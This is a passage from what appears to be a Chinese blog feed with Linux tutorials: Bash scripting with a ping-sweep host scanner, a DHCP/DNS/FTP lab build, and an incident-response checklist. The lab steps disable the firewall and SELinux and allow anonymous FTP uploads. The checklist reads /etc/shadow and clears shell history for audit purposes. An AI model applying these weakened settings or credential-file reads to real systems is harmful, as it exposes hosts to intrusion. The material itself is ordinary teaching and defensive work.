&lt;h2&gt;2 案例1：脚本修改静态IP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
cd /etc/sysconfig/network-scripts/
echo &quot;TYPE=Ethernet
 BOOTPROTO=static 
 DEFROUTE=yes 
 NAME=ens33 
 DEVICE=ens33 
 ONBOOT=yes 
 IPADDR=192.168.151.233 
 NETMASK=255.255.255.0 
 GATEWAY=192.168.151.254 
 DNS1=218.104.128.106&quot; &amp;gt; ifcfg-ens33

systemctl restart network

ifconfig ens33
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.1 shell变量&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;变量名和等号之间不能有空格，这可能和你熟悉的所有编程语言都不一样。同时，变量名的命名须遵循如下规则：
1.命名只能使用英文字母，数字和下划线，首个字符不能以数字开头。
2.中间不能有空格，可以使用下划线“_”。
3.不能使用标点符号。
4.不能使用bash里的关键字（可用help命令查看保留关键字）。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 read交互&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;read简介
要与Linux交互，脚本获取键盘输入的结果是必不可少的。
选项：
-n：限制读取N个字符就自动结束读取，如果没有读满N个字符就按下回车或遇到换行符，则也会结束读取。
-N：严格要求读满N个字符才自动结束读取，即使中途按下了回车或遇到了换行符也不结束。换行符或回车算一个字符。其中
-p：给出提示符。默认不支持&quot;\n&quot;换行，要换行需要特殊处理，见下文示例。例如，&quot;-p 请输入密码：&quot;
-r：禁止反斜线的转义功能。这意味着&quot;\&quot;会变成文本的一部分。
-s：静默模式。输入的内容不会回显在屏幕上。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
read -p &quot;input IP : &quot; IP
read -p &quot;input GATEWAY : &quot; GATE
cd /etc/sysconfig/network-scripts/
echo &quot;TYPE=Ethernet
BOOTPROTO=static 
DEFROUTE=yes 
NAME=ens33 
DEVICE=ens33 
ONBOOT=yes 
IPADDR=$IP 
NETMASK=255.255.255.0 
GATEWAY=$GATE 
DNS1=218.104.128.106&quot; &amp;gt; ifcfg-ens33

ifdown ens33
ifup ens33

ifconfig ens33
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 定时任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;crontab  --- 定时任务服务
systemctl status crond.service  //查看定时任务的状态

yum -y install cronie
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;crontab -l  //查看定时任务
vim /etc/crontab  //编辑定时任务
24 14 * * * root /home/zyl/Desktop/dingshi.sh
分 小时 日 月 周 用户  脚本
crontab /etc/crontab  //重新加载定时任务

cat /var/log/cron  //查看定时任务的日志
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 案例2：存活主机探测&lt;/h2&gt;
&lt;h3&gt;3.1 特殊文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/dev/zero  --- 空字节填充设备
/dev/null --- 黑洞文件（位桶）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 if 判断语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;if 条件
then 成立 语句
else 不成立 语句
fi

条件 代码
-gt（greater than） 大于
-lt（less than） 小于
-eq（equal） 等于
-ne（not equal） 不等于
-le（less than or equal） 小于等于
-ge（greater than or equal）大于等于

#! /bin/bash
if (( 10 &amp;gt; 100 ))
then
 echo &quot;yes&quot;
else
 echo &quot;no&quot;
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ping -c2 -i0.5 -w1 192.168.151.254
-c ： 发包数
-i ： 发包的间隔
-w ： 等待的时间
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
if `ping -c2 -i0.5 -w1 192.168.151.254 &amp;gt; /dev/null`
then
 echo &quot;yes&quot;
else
 echo &quot;no&quot;
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 三种文本流&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;0 --- 标准输入
1 --- 标准输出
2 --- 标准错误
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.4 循环语句&lt;/h3&gt;
&lt;h4&gt;3.4.1 for&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;for 变量 in 取值列表
do
子语句
done
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
for IP in {220..254}
do
 if `ping -c2 -i0.5 -w1 192.168.151.$IP &amp;gt; /dev/null`
 then
  echo -e &quot;192.168.151.$IP is \033[31myes\033[0m&quot;
 else
  echo -e &quot;192.168.151.$IP is \033[32mno\033[0m&quot;
 fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.4.2 while&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;while 条件
do
子语句
done
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
IP=0
while [ $IP -le 254 ]
do
 let IP++
 if `ping -c2 -i0.5 -w1 192.168.151.$IP &amp;gt; /dev/null`
 then
  echo -e &quot;192.168.151.$IP is \033[31myes\033[0m&quot;
 else
  echo -e &quot;192.168.151.$IP is \033[32mno\033[0m&quot;
 fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.5 case选择语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;case 变量 in 
模式1)
子语句
;;
模式2)
子语句
;;
子语句
esac
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
read -p &quot;input i : &quot; i
case $i in
1)
echo dza
;;
2)
echo wzr
;;
3)
echo djm
;;
*)
echo nobody
esac
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
case $1 in
1)
echo dza
;;
2)
echo wzr
;;
3)
echo djm
;;
*)
echo nobody
esac


./case.sh 2   5
    |     |   |
   $0    $1  $2
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 服务器搭建（二）</title><link>https://wangyi187.top/posts/os-15-linux-server-2/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-15-linux-server-2/</guid><description>Linux服务器搭建 1 准备工作 2 DHCP服务器 发生报错信息 客户端 3 DNS服务器 正向解析 域名 》 ip A记录 客户端 反向解析 ip 域名 PTR记录 4 FT</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux服务器搭建&lt;/h1&gt;
&lt;h2&gt;1 准备工作&lt;/h2&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407272122288.png&quot; alt=&quot;image-20240720155458406&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DHCP:
IP:192.168.1.254/24
地址池：192.168.1.100-192.168.1.150
下发DNS：192.168.1.50
下发网关：192.168.1.254
下发掩码：255.255.255.0

DNS:
IP:192.168.1.50/24
ftp.zyl.cn  ---- 192.168.1.30
dhcp.zyl.cn ---- 192.168.1.254
dns1.zyl.cn ---- 192.168.1.50
zyl.cn  ----- 192.168.1.1

FTP:
IP:192.168.1.30/24

三台虚拟机 --- 处于同一张网卡 仅主机模式 关闭VMware带的dhcp服务
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;本地源搭建
cd /etc/yum.repos.d/

vim local.repo
[local-yum]
name=local-yum
baseurl=file:///run/media/zyl/CentOS\ 7\ x86_64
gpgcheck=0

yum clean all
yum makecache
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;防火墙
Firewalls
systemctl stop firewalld.service  //临时关闭
systemctl disable firewalld.service  //永久关闭

selinux
setenforce 0  //临时关闭
vim /etc/selinux/config   //永久关闭
SELINUX=disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 DHCP服务器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;1.静态ip要配好
2.本地源要搭建
3.安装
yum -y install dhcp.x86_64  //安装dhcp服务
rpm -q dhcp  //确认软件包安装完成
rpm -ql dhcp  //查看自带的文件列表

/etc/dhcp/dhcpd.conf   //主配置文件
/usr/sbin/dhcpd   //二进制命令
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cd /etc/dhcp/
grep -v &quot;^#\|^$&quot; /usr/share/doc/dhcp*/dhcpd.conf.example &amp;gt; dhcpd.conf
cp -p  dhcpd.conf dhcpd.conf.bak

vim dhcpd.conf

option domain-name &quot;dhcp.zyl.cn&quot;;  //域名
option domain-name-servers 192.168.1.50;  //DNS
default-lease-time 3600;  //默认租约时间（秒）
max-lease-time 7200;    //最大租约时间（秒）
log-facility local7;   //日志存放，/var/log/boot.log
subnet 192.168.1.0 netmask 255.255.255.0 {  //网段、掩码
  range dynamic-bootp 192.168.1.100 192.168.1.150;  //地址池
  option broadcast-address 192.168.1.255;  //广播地址
  option routers 192.168.1.254;   //网关
}
host dnsname {   //绑定mac和ip 的名称
  hardware ethernet 00:0c:29:93:6c:e1;  //物理地址
  fixed-address 192.168.1.50;  //ip
}

host ftpname {
  hardware ethernet 00:0c:29:d0:7d:e8;
  fixed-address 192.168.1.30;
}


systemctl restart dhcpd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发生报错信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.查看网络状态，dhcp服务器必须在地址池网段中
2.日志  //   /var/log/messages
3.检查配置文件
4.journalctl -xe  //查看日志信息排错
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;客户端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOTPROTO=dhcp
systemctl restart network
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 DNS服务器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;DNS（domain name system ） 域名管理系统
域名：由特定的格式组成，用来表示互联网中某一台计算机或者计算机组的名
称，能够是人更方便的访问互联网，而不用记住能够被机器直接读取的IP地址。
DNS的作用：
- 域名的正向解析
将主机域名转换为对应的IP 地址，以便网络程序能够通过主机域名访问到对应的服务器主机
域名——&amp;gt;IP A记录
- 域名的反向解析
将主机的IP地址转换为对应的域名，以便网络（服务）程序能够通过IP地址查询到主机的域名
IP——&amp;gt;域名 PTR记录
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;yum -y install bind
rpm -q bind
rpm -ql bind

文件 描述
/etc/named 配置文件的主目录
/etc/named.conf 主配置文件
/etc/named.rfc1912.zones zone文件，定义域
/usr/sbin/named-checkconf 检查配置文件的命令
/usr/sbin/named-checkzone 检查区域文件的命令
/var/log/named.log 日志文件
/var/named 数据文件的主目录
/var/named/named.ca 根域服务器
/var/named/named.localhost 正向解析区域文件的模板
/var/named/named.loopback 反向解析区域文件的模板
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/named.conf
options {
        listen-on port 53 { any; };  //DNS监听地址
        ........................
        allow-query     { any; };  //允许访问到这台DNS的主机
        ...................
        dnssec-enable no;   //DNS安全拓展
        dnssec-validation no;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正向解析&lt;/p&gt;
&lt;p&gt;域名 ---》 ip  A记录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/named.rfc1912.zones  //编辑zone文件
    zone &quot;zyl.cn&quot; IN {
            type master;
            file &quot;zyl.cn.zone&quot;;
            allow-update { none; };
    };  //正向域
    
cd /var/named/
cp -p named.localhost zyl.cn.zone
vim zyl.cn.zone

$TTL 1D
@       IN SOA  zyl.cn. rname.invalid. (
                                        0       ; serial
                                        1D      ; refresh
                                        1H      ; retry
                                        1W      ; expire
                                        3H )    ; minimum
        NS      dns1.zyl.cn.
dns1    A       192.168.1.50
ftp     A       192.168.1.30
dhcp    A       192.168.1.254
@       A       192.168.1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;检查配置文件是否错误
named-checkconf /etc/named.conf 
named-checkconf /etc/named.rfc1912.zones
named-checkzone zyl.cn.zone zyl.cn.zone
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart named
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;客户端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nslookup 域名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反向解析&lt;/p&gt;
&lt;p&gt;ip ---&amp;gt; 域名   PTR记录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/named.rfc1912.zones  //编辑zone文件
    zone &quot;1.168.192.in-addr.arpa&quot; IN {
            type master;
            file &quot;192.168.1.zone&quot;;
            allow-update { none; };
    }; //反向域
    
cp -p named.loopback 192.168.1.zone
vim 192.168.1.zone

       IN SOA  zyl.cn. rname.invalid. (
                                        0       ; serial
                                        1D      ; refresh
                                        1H      ; retry
                                        1W      ; expire
                                        3H )    ; minimum
@       NS      dns1.zyl.cn.
254     PTR     dhcp.zyl.cn.
1       PTR     zyl.cn.
30      PTR     ftp.zyl.cn.
50      PTR     dns1.zyl.cn.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;检查配置文件是否错误
named-checkconf /etc/named.conf 
named-checkconf /etc/named.rfc1912.zones
named-checkzone 192.168.1.zone 192.168.1.zone
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart named
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 FTP服务器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;FTP（File Transfer Protocol）是一种应用非常广泛并且古老的一个互联网文件传输协议。
FTP的默认端口 21号（命令端口） 20号（数据端口）
FTP有主动模式、被动模式两种工作模式，默认被动模式下
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;yum -y install vsftpd.x86_64
rpm -q vsftpd.x86_64
rpm -ql vsftpd.x86_64
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;文件 描述
/etc/pam.d/vsftpd 安全认证
/etc/vsftpd 配置文件主目录
/etc/vsftpd/ftpusers 黑名单用户列表
/etc/vsftpd/user_list 用户列表（黑白名单）
/etc/vsftpd/vsftpd.conf 主配置文件
/usr/sbin/vsftpd 二进制命令
/var/ftp 匿名用户的默认数据的根目录
/var/ftp/pub 匿名用户的默认数据目录的扩展目录
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cd /etc/vsftpd/
cp -p vsftpd.conf vsftpd.conf.bak
grep -v &quot;^#\|^$&quot; vsftpd.conf.bak &amp;gt; vsftpd.conf
vim vsftpd.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;anonymous_enable=YES 支持匿名用户访问
local_enable=YES 支持非匿名用户访问
write_enable=YES 支持写入
local_umask=022 反掩码
dirmessage_enable=YES 启用消息功能
xferlog_enable=YES 启用xferlog日志
connect_from_port_20=YES 支持主动模式（默认为被动模式）
xferlog_std_format=YES xferlog日志格式
listen=NO FTP服务独立模式下的监听
listen_ipv6=YES FTP服务独立模式下的监听（IPv6）
pam_service_name=vsftpd 指定认证文件
userlist_enable=YES 启用用户列表
tcp_wrappers=YES 支持tcp_wrappers功能
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart vsftpd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;客户端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yum -y install lftp.x86_64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;匿名用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;最开始连接的状态
[root@localhost named]# lftp ftp.zyl.cn
lftp ftp.zyl.cn:~&amp;gt; ls
drwxr-xr-x    2 0        0               6 Jun 09  2021 pub
lftp ftp.zyl.cn:/&amp;gt; pwd
ftp://ftp.zyl.cn/   //路径 --- /var/ftp/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;下载文件
[root@localhost named]# lftp ftp.zyl.cn
lftp ftp.zyl.cn:~&amp;gt; ls
-rw-r--r--    1 0        0               0 Jul 23 02:36 123
drwxr-xr-x    2 0        0               6 Jun 09  2021 pub
lftp ftp.zyl.cn:/&amp;gt; get 123 
lftp ftp.zyl.cn:/&amp;gt; ls
-rw-r--r--    1 0        0               0 Jul 23 02:36 123
drwxr-xr-x    2 0        0               6 Jun 09  2021 pub
lftp ftp.zyl.cn:/&amp;gt; exit
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;上传功能+报错处理：
[root@localhost Desktop]# lftp ftp.zyl.cn
lftp ftp.zyl.cn:~&amp;gt; ls
-rw-r--r--    1 0        0               0 Jul 23 02:36 123
drwxr-xr-x    2 0        0               6 Jun 09  2021 pub
lftp ftp.zyl.cn:/&amp;gt; put 456 
put: Access failed: 550 Permission denied. (456)  //匿名用户默认没有上传文件的功能



chmod 777 ftp
[root@localhost Desktop]# lftp ftp.zyl.cn
lftp ftp.zyl.cn:~&amp;gt; ls              
ls: Login failed: 500 OOPS: vsftpd: refusing to run with writable root inside chroot()  //根目录具有w权限拦截



chmod 777 pub/
lftp ftp.zyl.cn:~&amp;gt; ls
-rw-r--r--    1 0        0               0 Jul 23 02:36 123
drwxrwxrwx    2 0        0               6 Jun 09  2021 pub
lftp ftp.zyl.cn:/&amp;gt; cd pub/
lftp ftp.zyl.cn:/pub&amp;gt; ls
lftp ftp.zyl.cn:/pub&amp;gt; put 456 
put: Access failed: 550 Permission denied. (456)
匿名用户本身没有上传功能，所以还是报错



vim vsftpd.conf
	anon_upload_enable=YES #匿名用户不可以上传文件
	anon_mkdir_write_enable=YES #匿名用户不可以修改文件
	anon_other_write_enable=YES #允许匿名用户执行除上载和创建目录之外的写入操作
	
systemctl restart vsftpd


- 如果根目录下的目录没有赋予w权限产生的报错
lftp ftp.zyl.cn:~&amp;gt; ls
-rw-r--r--    1 0        0               0 Jul 23 02:36 123
drwxr-xr-x    2 0        0              17 Jul 23 02:47 pub
lftp ftp.zyl.cn:/&amp;gt; cd pub/
lftp ftp.zyl.cn:/pub&amp;gt; put 789 
put: Access failed: 553 Could not create file. (789)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;非匿名用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost Desktop]# lftp zyl@ftp.zyl.cn
Password: 
lftp zyl@ftp.zyl.cn:~&amp;gt; ls
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;支持root用户登录

[root@localhost Desktop]# lftp root@ftp.zyl.cn
Password: 
lftp root@ftp.zyl.cn:~&amp;gt; ls         
ls: Login failed: 530 Permission denied.


vim /etc/vsftpd/ftpusers  //黑名单用户列表
vim /etc/vsftpd/user_list  //用户列表（黑白名单）
systemctl restart vsftpd
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 应急响应</title><link>https://wangyi187.top/posts/os-16-linux-ir/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-16-linux-ir/</guid><description>Linux应急响应 1 入侵排查思路 1.1 账号安全 1.2 历史命令 1.3 检查异常端口 1.4 检查异常进程 1.5 检查开机启动项 硬链接 软链接 : : : : : :</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux应急响应&lt;/h1&gt;
&lt;h2&gt;1 入侵排查思路&lt;/h2&gt;
&lt;h3&gt;1.1 账号安全&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、查询特权用户特权用户(uid 为0)
awk -F &apos;:&apos; &apos;$3==0{print $1}&apos; /etc/passwd

2、查询可以远程登录的帐号信息
awk -F &apos;:&apos; &apos;/\$1|\$6/{print $1}&apos; /etc/shadow

3、除root帐号外，其他帐号是否存在sudo权限。如非管理需要，普通帐号
应删除sudo权限
more /etc/sudoers | grep -v &quot;^#\|^$&quot; | grep &quot;ALL=(ALL)&quot;

4、禁用或删除多余及可疑的帐号
usermod -L user 禁用帐号，帐号无法登录，/etc/shadow第二栏为!开头
- passwd -l 用户名   //禁用账户
userdel user 删除user用户
userdel -r user 将删除user用户，并且将/home目录下的user目录一并删除
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 历史命令&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;通过.bash_history查看帐号执行过的系统命令
1、root的历史命令
histroy

2、打开/home各帐号目录下的.bash_history，查看普通帐号的历史命令
为历史的命令增加登录的IP地址、执行命令时间等信息：
1）保存1万条命令
sed -i &apos;s/^HISTSIZE=1000/HISTSIZE=10000/g&apos; /etc/profile

2）在/etc/profile的文件尾部添加如下行数配置信息：
######jiagu history xianshi#########
USER_IP=`who -u am i 2&amp;gt;/dev/null | awk &apos;{print $NF}&apos; | sed -e &apos;s/[()]//g&apos;`
if [ &quot;$USER_IP&quot; = &quot;&quot; ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT=&quot;%F %T $USER_IP `whoami` &quot;
shopt -s histappend
export PROMPT_COMMAND=&quot;history -a&quot;
######### jiagu history xianshi ##########

3）source /etc/profile让配置生效
生成效果： 1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

3、历史操作命令的清除：history -c
但此命令并不会清除保存在文件中的记录，因此需要手动删除.bash_profile
文件中的记录。

入侵排查：
进入用户目录下
cat .bash_history &amp;gt;&amp;gt; history.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 检查异常端口&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;检查异常端口
使用netstat 网络连接命令，分析可疑端口、IP、PID
netstat -antlp | more

查看下pid所对应的进程文件路径，
运行ls -l /proc/$PID/exe或file /proc/$PID/exe（$PID 为对应的pid 号）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 检查异常进程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;检查异常进程
使用ps命令，分析进程
ps aux | grep pid

top
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.5 检查开机启动项&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;自启动
systemctl disable 服务
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/bash
#chkconfig:2345 10 90
#description:ziqi.sh
echo 123 &amp;gt; /home/zyl/Desktop/ZR.txt


2345  ---- 默认启动级别（0-6 七个级别）
查看运行级别命令 runlevel
运行级别 含义
0 		关机
1 		单用户模式，可以想象为windows的安全模式，主要用于系统修复
2 		不完全的命令行模式，不含NFS服务
3 		完全的命令行模式，就是标准字符界面
4 		系统保留
5 		图形模式
6 		重启动

优先级：0-100  数字越大，优先级越低
10 --- 启动优先级
90 --- 停止优先级
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mv ziqi.sh /etc/init.d/  //可执行脚本放置处  /etc/init.d/  //自启动文件目录
cd /etc/rc.d/rc5.d/
ln -s /etc/init.d/ziqi.sh /etc/rc.d/rc5.d/S100ruan
- S开头代表加载时自启动；如果是K开头代表运行级别时需要关闭的
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;硬链接&lt;/th&gt;
&lt;th&gt;软链接&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;复制粘贴&lt;/td&gt;
&lt;td&gt;快捷方式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;创建方式&lt;/td&gt;
&lt;td&gt;ln 原文件 目标链接文件&lt;/td&gt;
&lt;td&gt;ln -s 原文件 目标链接文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原文件权限更改&lt;/td&gt;
&lt;td&gt;权限随之更改&lt;/td&gt;
&lt;td&gt;权限不会更改&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原文件删除&lt;/td&gt;
&lt;td&gt;不受影响&lt;/td&gt;
&lt;td&gt;随之损坏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新建一个与被删除文件的同名文件&lt;/td&gt;
&lt;td&gt;执行旧内容&lt;/td&gt;
&lt;td&gt;执行新内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;inode值&lt;/td&gt;
&lt;td&gt;inode值相同&lt;/td&gt;
&lt;td&gt;inode值不相同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文件大小&lt;/td&gt;
&lt;td&gt;与原文件相同&lt;/td&gt;
&lt;td&gt;与原文件不相同&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;chkconfig --add /etc/init.d/ziqi.sh  //添加到脚本自启动列表
chkconfig --list  //查看自启服务列表
chkconfig ziqi.sh on  //启用脚本
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;chkconfig  //查看自启动相关脚本服务
入侵排查：
启动项文件： more /etc/rc.local /etc/rc.d/rc[0~6].d 
ls -l /etc/rc.d/rc3.d/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.6 检查定时任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;入侵排查：
重点关注以下目录中是否存在恶意脚本
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/*
/etc/anacrontab
/var/spool/anacron/*

小技巧：
more /etc/cron.daily/* 查看目录下所有文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.7 检查服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;查询已安装的服务
1、RPM包安装的服务
chkconfig --list 查看服务自启动状态，可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
系统在3与5级别下的启动项
chkconfig --list | grep &quot;3:on\|5:on&quot;

2、源码包安装的服务
查看服务安装位置 ，一般是在/usr/local/
systemctl status httpd
搜索/etc/rc.d/init.d/ 查看是否存在
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.8 检查异常文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、查看敏感目录，如/tmp目录下的文件，同时注意隐藏文件夹，以“.”为名的文件夹具有隐藏属性

2、得到发现WEBSHELL、远控木马的创建时间，如何找出同一时间范围内创建的文件？
可以使用find命令来查找，如 find /opt -iname &quot;*&quot; -atime 1 -type f 找出 /opt 下一天前访问过的文件

3、针对可疑文件可以使用stat进行创建修改时间。
access：访问时间
modify：修改文件时间
change：改变状态的时间
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.9 检查系统日志&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;日志存放位置：/var/log/
查看日志配置情况：more /etc/rsyslog.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;日志分析技巧：
1、定位有多少IP在爆破主机的root帐号：
grep &quot;Failed password for root&quot; /var/log/secure | awk &apos;{print $11}&apos; | sort | uniq -c | sort -nr | more
2、定位有哪些IP在爆破：
grep &quot;Failed password&quot; /var/log/secure | grep -E -o &quot;(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&quot; | uniq -c
3、爆破用户名字典是什么？
grep “Failed password” /var/log/secure|perl -e &apos;while($_=&amp;lt;&amp;gt;){ /for(.*?) from/; print “$1\n”;}&apos; | uniq -c | sort -nr
4、登录成功的IP有哪些：
grep &quot;Accepted &quot; /var/log/secure | awk &apos;{print $11}&apos; | sort | uniq -c | sort -nr | more
5、登录成功的日期、用户名、IP：
grep &quot;Accepted &quot; /var/log/secure | awk &apos;{print $1,$2,$3,$9,$11}&apos;
6、增加用户日志：
grep &quot;useradd&quot; /var/log/secure
7、删除用户kali日志：
grep &quot;userdel&quot; /var/log/secure
8、su切换用户
more /var/log/secure | grep &apos;su:&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.10 Rootkit查杀&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、chkrootkit
网址：http://www.chkrootkit.org
使用方法：
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxf chkrootkit.tar.gz
cd chkrootkit-0.55
./chkrootkit

2、rkhunter
网址：http://rkhunter.sourceforge.net/
使用方法：
wget https://sourceforge.net/projects/rkhunter/files/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz
tar -zxf rkhunter-1.4.6.tar.gz
cd rkhunter-1.4.6/
./installer.sh --install
rkhunter -c
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.11 病毒查杀&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Clamav
ClamAV的官方下载地址为：http://www.clamav.net/download.html
使用方法：
yum -y install epel-release
yum install –y clamav clamav-update
freshclam
clamscan -r /home


&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.12 webshell查杀&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;河马webshell查杀
网址：https://www.shellpub.com/
使用方法：
